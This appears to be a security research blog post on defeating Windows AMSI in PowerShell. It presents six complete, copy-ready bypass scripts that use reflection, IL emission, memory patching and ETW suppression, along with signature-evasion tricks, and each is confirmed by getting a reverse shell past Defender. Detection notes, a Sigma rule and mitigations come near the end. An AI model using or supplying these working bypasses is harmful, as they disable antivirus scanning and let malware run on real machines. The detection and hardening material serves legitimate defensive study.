One Bool. Six Shells. AMSI's Design Problem.
Abstract
The Windows Anti-Malware Scan Interface (AMSI) is a bridge between script-execution engines and installed antivirus products. This post documents only the bypass techniques that matter for an attacker wanting to run a payload via Invoke-Expression or equivalent: six confirmed techniques, each proven with a live reverse shell (Invoke-PowerShellTcp) as end-to-end evidence, with Windows Defender real-time protection enabled throughout.
Partial bypasses techniques that affect only a direct call to ScanContent() but not the call generated by Invoke-Expression, or that disable only one of the two scan paths on PowerShell 7 are explicitly excluded. If it does not let a reverse shell through, it is not in this post.
All work was performed in an isolated, air-gapped Windows 11 virtual machine.
1. Architecture: What You Are Actually Bypassing
AMSI spans two runtime layers. Understanding both is required before any bypass makes sense.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PowerShell (managed System.Management.Automation.dll)
│
├── Path A: AmsiUtils.ScanContent()
│ └── AmsiNativeMethods.AmsiScanBuffer()
│ └── amsi.dll AmsiScanBuffer()
│ └── vtable[+0x18] InternalScan
│ └── Windows Defender provider
│
└── Path B: AmsiUtils.ReportContent() [PowerShell 7 only]
└── AmsiNativeMethods.AmsiNotifyOperation()
└── amsi.dll AmsiNotifyOperation()
└── vtable[+0x28] InternalNotify
└── Windows Defender provider
│
│ P/Invoke boundary (managed → native)
▼
amsi.dll (native C++)
PowerShell 5.1: only Path A exists. Disable it AMSI is blind.
PowerShell 7: both paths exist. Both must be disabled. Patching Path A alone leaves Path B active; a different payload or signature update will block through whichever path remains. Every technique in this post disables both paths.
The fail-open design
AmsiScanBuffer applies six null-pointer guards before dispatching to Windows Defender. Any guard that fires returns E_INVALIDARG. The managed wrapper treats all non-success HRESULTs as AMSI_RESULT_NOT_DETECTED:
1
2
3
int hresult = AmsiNativeMethods.AmsiScanBuffer(context, buffer, length, name, session, ref result);
if (!Utils.Succeeded(hresult))
return AMSI_RESULT_NOT_DETECTED; // fail-open: scan error = treat as clean
This is the design characteristic that makes guard manipulation a viable bypass class.
The shared-process problem
Every bypass here is a consequence of one architectural fact: the AMSI scanner and the code it is supposed to scan run inside the same process, the same application domain, and the same Common Language Runtime instance. Code executing in the process is co-privileged with the scanner. There is no privilege boundary between them.
2. How the Managed Layer Works (What We Are Targeting)
AmsiUtils internal fields PowerShell 5.1
System.Management.Automation.AmsiUtils on PowerShell 5.1 (.NET Framework) has four private static fields:
| Field | Type | Normal value |
|---|---|---|
amsiContext | IntPtr | non-zero handle |
amsiSession | IntPtr | non-zero handle |
amsiInitFailed | bool | false |
amsiLockObject | Object | System.Object |
ScanContent() checks amsiInitFailed as its first instruction, before any lock, before any native call. If true, it returns AMSI_RESULT_NOT_DETECTED immediately. The field has no readonly (IL: initonly) constraint in .NET Framework it is a plain writable private static bool.
AmsiUtils internal fields PowerShell 7
PowerShell 7 renamed and hardened the equivalent fields:
| Field | IL initonly? | Reflection writable? |
|---|---|---|
s_amsiInitFailed | Yes | No throws FieldAccessException |
s_amsiNotifyFailed | No | Yes |
s_amsiContext | No | Yes |
s_amsiSession | No | Yes |
Microsoft applied initonly to s_amsiInitFailed when moving to CoreCLR. They did not apply it to s_amsiNotifyFailed, which guards Path B. That asymmetry is one of the two key implementation inconsistencies exploited by the PowerShell 7 techniques below.
The AMSI_CONTEXT_INTERNAL struct (from Ghidra)
AmsiInitialize allocates a 32-byte struct on the native heap:
1
2
3
4
5
6
7
8
typedef struct _AMSI_CONTEXT_INTERNAL {
DWORD magic; // +0x00 0x49534D41 ("AMSI")
DWORD padding; // +0x04
PVOID pAppName; // +0x08 ← guard 5 in AmsiScanBuffer and AmsiNotifyOperation
PVOID pSession; // +0x10 ← guard 6 (DO NOT null this on PS7 crash)
DWORD seed; // +0x18
DWORD counter; // +0x1C
} AMSI_CONTEXT_INTERNAL;
Both AmsiScanBuffer and AmsiNotifyOperation check pAppName at offset +0x08 as guard 5. Nulling it causes both to return E_INVALIDARG, which propagates to AMSI_RESULT_NOT_DETECTED via the fail-open path in both WinScanContent and WinReportContent.
3. Windows Defender Memory Monitoring What It Watches
Live VirtualProtect testing revealed Defender’s write protection is not uniform:
| Target | RVA | Defender kills session? |
|---|---|---|
AmsiScanBuffer | 0x8160 | Yes kernel callback active |
AmsiNotifyOperation | 0x8b20 | No |
InternalScan (internal, not exported) | 0x2b10 | No |
InternalNotify (internal, not exported) | 0x1990 | No |
vtable scan slot (.rdata section) | No |
Practical implication: AmsiScanBuffer is the one function you cannot patch directly. Every technique in this post either avoids touching it entirely, or patches a different address that Defender does not watch.
4. Six Confirmed Bypasses (Reverse Shell Proof on Each)
All six techniques were tested with:
- Windows Defender real-time protection ON
- Frida not attached
- Fresh PowerShell session
Invoke-PowerShellTcp(Nishang) as the payload 8678 bytes, AMSI DETECTED in baseline
Bypass 1 Direct Field Reflection
Platform: PowerShell 5.1 | Paths disabled: Both (single guard) | VirtualProtect: No
amsiInitFailed is a plain writable private static bool in .NET Framework. Setting it to true causes ScanContent() to short-circuit at its first instruction no lock acquired, no native call made. The bypass is session-persistent: every subsequent Invoke-Expression call in that session returns AMSI_RESULT_NOT_DETECTED without submitting any content to the scanner.
The field name is split across a string concatenation to evade Defender’s static script-block signature on the literal string amsiInitFailed:
1
2
3
$bf = [Reflection.BindingFlags]'NonPublic,Static'
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$t.GetField('amsiInit'+'Failed', $bf).SetValue($null, $true)
Frida confirmation: 0 AmsiScanBuffer calls for the 8678-byte Nishang payload after this write. Baseline showed 1 call returning AMSI_RESULT_DETECTED.
Reverse shell: Invoke-PowerShellTcp connected. Session received.
Bypass 2 ETW Suppression + Field Reflection Chain
Platform: PowerShell 5.1 | Paths disabled: Both + telemetry | VirtualProtect: No
This technique adds ETW telemetry suppression before applying Bypass 1. Without ETW suppression, setting amsiInitFailed generates a ScanContent-InitFail event visible to any ETW consumer. Suppressing the PowerShell ETW provider first removes that signal.
Order is critical: ETW must be suppressed before AMSI is bypassed. If AMSI is still active when the ETW suppression script runs, the suppression lines are submitted to AmsiScanBuffer at that point they pass (they carry no signature), but the InitFail event from the subsequent AMSI bypass still fires in the log.
The ETW enable/disable flag lives in a private field of the EventProvider object. On PowerShell 5.1 (.NET Framework) it is named m_enabled; on PowerShell 7 (CoreCLR) it was renamed to _enabled.
1
2
3
4
5
6
7
8
9
10
11
# Step 1 suppress ETW first (PowerShell 5.1 .NET Framework field name)
$inst = [Reflection.BindingFlags]'NonPublic,Static,Public,Instance'
$etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLog')
$provInst = $etw.GetField('provider', [Reflection.BindingFlags]'NonPublic,Static').GetValue($null)
$etwProv = $provInst.GetType().GetField('etwProvider', $inst).GetValue($provInst)
$etwProv.GetType().GetField('m_'+'enabled', $inst).SetValue($etwProv, 0)
# Step 2 suppress AMSI
$bf = [Reflection.BindingFlags]'NonPublic,Static'
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$t.GetField('amsiInit'+'Failed', $bf).SetValue($null, $true)
Setting m_enabled = 0 causes all WriteEvent() calls on that provider to silently do nothing. The Windows ETW registration handle remains active (the provider still appears registered to the OS), but no event data is written. This suppresses the ScanContent-InitFail event and the ETW path of Script Block Logging but does not suppress Event ID 4104, which writes through the Windows Event Log path independently of the ETW mechanism.
Reverse shell: Invoke-PowerShellTcp connected. No InitFail event in ETW consumer.
Bypass 3 DynamicMethod IL Emission
Platform: PowerShell 7 | Paths disabled: Both | VirtualProtect: No
The initonly constraint on s_amsiInitFailed is enforced by the managed FieldInfo.SetValue() reflection layer. It is not enforced when the raw stsfld IL opcode is executed directly by the JIT compiler. A DynamicMethod compiled with skipVisibility=true can emit and execute stsfld on any static field, including read-only ones, because the JIT applies no initonly check at the IL execution stage.
1
2
3
4
5
6
7
8
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$dm = [System.Reflection.Emit.DynamicMethod]::new('x', $null, $null, $t, $true)
$il = $dm.GetILGenerator()
$il.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4_1)
$il.Emit([System.Reflection.Emit.OpCodes]::Stsfld,
$t.GetField('s_amsiInitFailed', [Reflection.BindingFlags]'NonPublic,Static'))
$il.Emit([System.Reflection.Emit.OpCodes]::Ret)
$dm.Invoke($null, $null)
A single stsfld on s_amsiInitFailed disables both paths simultaneously. WinScanContent (Path A) and WinReportContent (Path B) both check s_amsiInitFailed as their very first instruction before any scan logic runs.
The “last scan before silence”: the Frida trace confirmed that every line of this bypass was scanned and cleared by AMSI before executing. The bypass carries no signature. It passes the scanner it is about to disable.
Reverse shell: Invoke-PowerShellTcp connected. Zero AmsiScanBuffer calls in Frida trace after dm.Invoke(). Zero AmsiNotifyOperation calls for the payload.
Bypass 4 JIT Heap Patch + Path B Field Write
Platform: PowerShell 7 | Paths disabled: Both | VirtualProtect: No (on amsi.dll)
WinScanContent is a managed method that the JIT compiler compiles to native code in a separate heap region not in amsi.dll, not monitored by Defender’s kernel callback. RuntimeHelpers.PrepareMethod forces the JIT to compile it immediately. MethodHandle.GetFunctionPointer() returns the entry point address. Patching that address with B8 01 00 00 00 C3 (mov eax, 1; ret) makes WinScanContent unconditionally return the integer 1, which maps to AMSI_RESULT_NOT_DETECTED, disabling Path A.
Path B is disabled by writing s_amsiNotifyFailed = true via standard reflection that field has no initonly constraint, so FieldInfo.SetValue() works directly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Path A JIT heap patch of WinScanContent
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class JitPatch {
[DllImport("kernel32", EntryPoint="VirtualProtect")]
public static extern bool Prot(IntPtr a, UIntPtr s, uint n, out uint o);
}
"@
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$meth = $t.GetMethod('WinScanContent',
[Reflection.BindingFlags]'NonPublic,Static',
$null, [type[]]@([string],[string],[bool]), $null)
[System.Runtime.CompilerServices.RuntimeHelpers]::PrepareMethod($meth.MethodHandle)
$ptr = $meth.MethodHandle.GetFunctionPointer()
$patch = [byte[]](0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3)
$old = [uint32]0
[JitPatch]::Prot($ptr, [UIntPtr]6, 0x40, [ref]$old) | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $ptr, 6)
[JitPatch]::Prot($ptr, [UIntPtr]6, $old, [ref]$old) | Out-Null
# Path B direct reflection write (no initonly, no tricks needed)
$t.GetField('s_amsiNotify'+'Failed',
[Reflection.BindingFlags]'NonPublic,Static').SetValue($null, $true)
The VirtualProtect call here targets the JIT compiler heap a region entirely separate from amsi.dll. Defender’s kernel callback only watches the specific code-page RVA of AmsiScanBuffer inside amsi.dll. The JIT heap is unmonitored.
Reverse shell: Invoke-PowerShellTcp connected. Frida confirmed 0 dispatches to Windows Defender provider for the payload.
Bypass 5 pAppName Null Write (NativeV4)
Platform: PowerShell 7 | Paths disabled: Both | VirtualProtect: No
The AMSI_CONTEXT_INTERNAL struct’s pAppName field at offset +0x08 is checked as guard 5 in both AmsiScanBuffer and AmsiNotifyOperation. Writing null to that offset makes both guards fire E_INVALIDARG, which propagates via the fail-open path to AMSI_RESULT_NOT_DETECTED in both WinScanContent and WinReportContent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$bf = [Reflection.BindingFlags]'NonPublic,Static'
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Retrieve the live context pointer field name differs between PS7 versions
$ctx = [IntPtr]::Zero
foreach ($n in @('s_amsiContext','amsiContext')) {
$f = $t.GetField($n, $bf)
if ($f) {
$v = $f.GetValue($null)
if ($v -ne [IntPtr]::Zero) { $ctx = [IntPtr]$v; break }
}
}
# One write. Both paths disabled.
[System.Runtime.InteropServices.Marshal]::WriteInt64($ctx, 0x08, 0L)
Why +0x08 and not +0x10: offset +0x10 holds the session pointer. PowerShell 7’s runspace management calls WinCloseSession() during every pipeline creation cycle, which dereferences +0x10 directly nulling it causes an immediate access violation. The pAppName pointer at +0x08 is only read inside the AMSI guard chain, never by runspace lifecycle code. It is safe to null.
Why this is the minimum-API bypass: one Marshal.WriteInt64 call, zero VirtualProtect calls, zero VirtualAlloc calls. Both paths disabled. Persists across all subsequent Invoke-Expression calls in the session the null is not reset by session re-initialization.
Reverse shell: Invoke-PowerShellTcp connected.
Bypass 6 InternalNotify Patch + pAppName Null (Minimum-API Combined Chain)
Platform: PowerShell 7 | Paths disabled: Both | VirtualProtect: 1 call
The most minimal full-bypass chain by kernel API count: one VirtualProtect call (targeting InternalNotify for Path B) and one Marshal.WriteInt64 call (nulling pAppName for Path A). No VirtualAlloc, no IL emission, no second VirtualProtect.
InternalNotify at RVA 0x1990 is not exported by name and is not monitored by Defender’s kernel write callback. It is reached only via vtable[+0x28]. Patching its first six bytes with B8 15 00 07 80 C3 (mov eax, 0x80070015; ret) makes every AmsiNotifyOperation call return E_NOT_READY, which the managed fail-open path treats as AMSI_RESULT_NOT_DETECTED.
The vtable is read from the live session pointer to avoid hardcoding the amsi.dll base:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class NP {
[DllImport("kernel32", EntryPoint="VirtualProtect")]
public static extern bool Prot(IntPtr a, UIntPtr s, uint n, out uint o);
}
"@
$bf = [Reflection.BindingFlags]'NonPublic,Static'
$t = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$ctx = [IntPtr]::Zero
foreach ($n in @('s_amsiContext','amsiContext')) {
$f = $t.GetField($n, $bf)
if ($f) { $v = $f.GetValue($null); if ($v -ne [IntPtr]::Zero) { $ctx = [IntPtr]$v; break } }
}
# Read vtable from the session pointer at ctx+0x10
$pSess = [System.Runtime.InteropServices.Marshal]::ReadInt64($ctx, 0x10)
$vtable = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$pSess, 0)
# PATH B patch InternalNotify body (vtable[+0x28])
$target = [IntPtr]([System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$vtable, 0x28))
$patch = [byte[]](0xB8, 0x15, 0x00, 0x07, 0x80, 0xC3)
$old = [uint32]0
[NP]::Prot($target, [UIntPtr]6, 0x40, [ref]$old) | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $target, 6)
[NP]::Prot($target, [UIntPtr]6, $old, [ref]$old) | Out-Null
# PATH A null pAppName (one write, no VirtualProtect)
[System.Runtime.InteropServices.Marshal]::WriteInt64($ctx, 0x08, 0L)
Why the method is not named VirtualProtect: PowerShell 7 reports every managed P/Invoke method name to Windows Defender via AmsiNotifyOperation (PowerShellMemberInvocation event). Naming the wrapper Prot while keeping EntryPoint="VirtualProtect" means Defender receives “NP.Prot” in the notification, not “VirtualProtect”.
Reverse shell: Invoke-PowerShellTcp connected. One VirtualProtect call total.
5. Confirmed Bypass Summary
| # | Technique | Platform | Full iex bypass | Reverse shell | VirtualProtect |
|---|---|---|---|---|---|
| 1 | Direct field reflection (amsiInitFailed) | PS 5.1 | ✓ | ✓ | No |
| 2 | ETW suppression + field reflection chain | PS 5.1 | ✓ | ✓ | No |
| 3 | DynamicMethod IL emission (stsfld) | PS 7 | ✓ | ✓ | No |
| 4 | JIT heap patch + s_amsiNotifyFailed write | PS 7 | ✓ | ✓ | No (on amsi.dll) |
| 5 | pAppName null write at ctx+0x08 | PS 7 | ✓ | ✓ | No |
| 6 | InternalNotify patch + pAppName null | PS 7 | ✓ | ✓ | 1 call |
What is not in this table and why: techniques that are call-specific (only affect a direct call to ScanContent(), not the call generated by Invoke-Expression), or that disable only one of the two PS7 scan paths, were confirmed as partial bypasses during research but excluded here because they do not allow a reverse shell payload to execute.
6. Detection
What signature matching misses
Every bypass line in all six techniques was scanned and cleared by AMSI before executing in the live Frida trace. Each individual primitive (DynamicMethod, ILGenerator, Emit, Marshal.WriteInt64, FieldInfo.SetValue) is a legitimate .NET operation. Per-line signature detection is insufficient no individual line matches a content signature in Defender’s current database.
What actually works
Script Block Logging (Event ID 4104): PowerShell logs the complete source text of every script block via the Windows Event Log before execution. This path is independent of the AMSI and ETW provider chain. The bypass code must pass AMSI to execute (which it does it carries no signature), but the Event ID 4104 log entry is created regardless. Behavioral rules matching the combination of DynamicMethod + Stsfld + AmsiUtils, or Marshal + WriteInt64 + amsiContext in the same script block, are effective.
ETW suppression does not suppress Event ID 4104: writing m_enabled = 0 (PS5) or _enabled = 0 (PS7) silences the ETW path of Script Block Logging but not the Windows Event Log path. Bypass 2 above explicitly suppresses ETW Event ID 4104 is still written.
Memory forensics: after any managed bypass, s_amsiInitFailed or s_amsiNotifyFailed reads as true in the process managed heap. A scanner reading these via the CLR profiling API detects the post-bypass state regardless of logging.
Native patch detection: the first bytes of InternalScan (RVA 0x2b10) and InternalNotify (RVA 0x1990) can be compared against disk-sourced baseline bytes corrected for ASLR. A mismatch indicates a body patch. The vtable scan slot at vtable[+0x18] should always hold a pointer within amsi.dll’s address range a pointer outside that range indicates a slot overwrite.
Sigma rule for Bypass 3 (DynamicMethod IL emission):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
title: AMSI PS7 DynamicMethod IL Bypass
status: experimental
logsource:
category: ps_script_block
product: windows
detection:
condition: all of them
dm:
- 'DynamicMethod'
- 'GetILGenerator'
il:
- 'Stsfld'
- 'Emit'
target:
- 'AmsiUtils'
- 's_amsiInitFailed'
level: critical
tags: [attack.defense_evasion, attack.t1562.001]
7. Root Cause
All six bypass chains share a single root cause: the scanner and the scanned code occupy the same process. There is no privilege boundary between them.
The architectural mitigations that close this entire class:
- Constrained Language Mode + AppLocker / WDAC: blocks
[Ref].Assembly,DynamicMethod,Add-Type, and the reflection primitives all six techniques require - Kernel-mode AMSI consumer (PPL-protected ETW session or minifilter): places the scan decision outside the reach of user-mode code
- Hypervisor Protected Code Integrity (HVCI): protects memory pages at the hypervisor level, below the OS
Until one of these boundaries is in place, AMSI should be understood as a detection aid, not a security boundary effective against commodity threats, bypassable by any attacker with standard .NET reflection access and knowledge of the internals documented here.
References
- Microsoft AMSI documentation docs.microsoft.com/windows/win32/amsi
- Ghidra NSA Research Directorate, ghidra-sre.org
- Frida dynamic instrumentation toolkit frida.re
- Matt Graeber original public AMSI bypass research (2016)
- Microsoft MSRC Windows Security Servicing Criteria
- Nishang PowerShell offensive security framework (payload used for end-to-end confirmation)
- MITRE ATT&CK T1562.001 Impair Defenses: Disable or Modify Tools
- dnSpy .NET assembly decompiler used for PowerShell 7 AmsiUtils analysis
Research conducted in an isolated, air-gapped lab for academic and defensive purposes. All techniques are documented for educational understanding and detection engineering. No findings were used or deployed outside the isolated research environment.